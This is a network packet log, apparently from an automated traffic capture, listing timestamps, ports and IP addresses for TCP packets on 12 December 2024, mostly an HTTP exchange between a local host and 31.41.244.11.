Dec 12, 2024 14:27:02.292534113 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.292783976 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.292890072 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.293317080 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.293414116 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.293524981 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.293524981 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.294250011 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.294318914 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.294323921 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.294394016 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.295028925 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.295093060 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.295149088 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.295336962 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.295945883 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.296025038 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.296226025 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.296715021 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.297008038 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.297049046 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.297049046 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.297049046 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.297612906 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.297625065 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.297689915 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.298537016 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.298737049 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.298791885 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.298834085 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.299464941 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.299494982 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.299511909 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.299565077 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.300200939 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.300287962 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.300369024 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.300369024 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.301081896 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.301302910 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.301736116 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.301736116 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.301913977 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.301925898 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.301960945 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.301975012 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.302791119 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.302803040 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.303334951 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.303334951 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.303570986 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.303692102 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.304274082 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.304274082 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.304471970 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.304511070 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.304629087 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.304629087 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.305360079 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.305372953 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.305574894 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.305574894 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.306174994 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.306189060 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.306351900 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.306351900 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.307053089 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.307066917 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.307337999 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.307337999 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.307887077 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.307898998 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.308131933 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.308131933 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.308768988 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.308803082 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.308840036 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.308840036 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.309612036 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.309663057 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.309731007 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.309731007 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.310446024 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.310491085 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.310496092 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.311110973 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.311419964 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.311508894 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.311511040 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.312078953 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.312216043 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.312228918 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.313092947 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.313138008 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.313138008 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.313138008 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.313143969 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.313513041 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.313986063 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.314063072 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.314227104 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.314227104 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.314847946 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.314862013 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.314897060 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.314943075 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.315648079 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.315707922 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.315731049 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.315777063 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.316602945 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.316617012 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.316668987 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.317339897 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.317399979 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.317727089 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.317727089 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.318228006 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.318279982 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.318449974 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.318569899 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.319130898 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.319183111 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.319243908 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.319338083 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.319968939 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.319981098 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.320781946 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.320846081 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.320848942 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.320848942 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.320848942 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.321144104 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.321636915 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.321727991 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.321729898 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.321779966 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.322530031 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.322585106 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.322738886 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.322738886 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.323393106 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.323457956 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.323523045 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.323523045 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.324228048 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.324274063 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.324286938 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.324321032 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.325098038 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.325138092 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.325170040 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.325170040 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.325881958 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.326011896 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.326047897 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.326047897 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.326848984 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.326862097 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.326989889 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.327703953 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.327717066 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.327749014 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.328250885 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.328517914 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.328676939 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.368844986 CET	443	49885	116.203.10.31	192.168.2.4
Dec 12, 2024 14:27:02.369327068 CET	49885	443	192.168.2.4	116.203.10.31
Dec 12, 2024 14:27:02.380450010 CET	49884	443	192.168.2.4	104.21.79.7
Dec 12, 2024 14:27:02.380487919 CET	49884	443	192.168.2.4	104.21.79.7
Dec 12, 2024 14:27:02.380589962 CET	443	49884	104.21.79.7	192.168.2.4
Dec 12, 2024 14:27:02.476937056 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.476967096 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.477178097 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.477178097 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.477284908 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.477400064 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.477412939 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.477436066 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.477436066 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.477463961 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.478282928 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.478468895 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.478507042 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.478507042 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.478933096 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.479063034 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.479120970 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.479340076 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.479713917 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.479901075 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.481045008 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.481076956 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.481103897 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.481163025 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.481224060 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.481257915 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.481981039 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.482053041 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.482258081 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.482321024 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.482742071 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.482794046 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.482989073 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.483179092 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.483530045 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.483582020 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.483762026 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.484008074 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.484246016 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.484263897 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.484287024 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.484312057 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.484971046 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.484987020 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.485034943 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.485034943 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.485817909 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.485831976 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.485884905 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.485884905 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.486481905 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.486495972 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.486712933 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.486712933 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.487015963 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.487047911 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.487153053 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.488059998 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.488502979 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.488574028 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.488806963 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.488816023 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.488868952 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.489299059 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.489531040 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.489722013 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.489770889 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.489886999 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.489986897 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.490402937 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.490490913 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.490492105 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.490535975 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.491421938 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.491436005 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.491599083 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.492257118 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.492362976 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.492428064 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.492428064 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.492840052 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.492973089 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.493015051 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.493015051 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.493668079 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.493767977 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.493829012 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.493829012 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.494398117 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.494534016 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.494601011 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.494601011 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.495265007 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.495335102 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.496192932 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.496232986 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.496244907 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.496264935 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.496423960 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.497021914 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.497104883 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.498192072 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.498204947 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.498248100 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.498248100 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.498344898 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.498964071 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.499128103 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.499155045 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.499197960 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.499619961 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.499735117 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.499768019 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.499811888 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.500875950 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.501055002 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.501096964 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.501096964 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.501909971 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.501921892 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.502026081 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.502957106 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.503177881 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.503202915 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.503233910 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.503997087 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.504048109 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.504066944 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.504121065 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.504873037 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.505091906 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.505131960 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.505131960 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.505723000 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.505768061 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.505783081 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.505812883 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.506407022 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.506479979 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.506592035 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.506678104 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.507082939 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.507102966 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.507122993 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.507188082 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.507946014 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.508093119 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.508131027 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.508131027 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.508850098 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.508857012 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.509103060 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.509103060 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.509702921 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.509733915 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.510297060 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.510544062 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.510582924 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.510582924 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.510745049 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.510776997 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.511162996 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.511224031 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.511326075 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.511944056 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.511950016 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.511962891 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.512015104 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.512015104 CET	49878	80	192.168.2.4	31.41.244.11
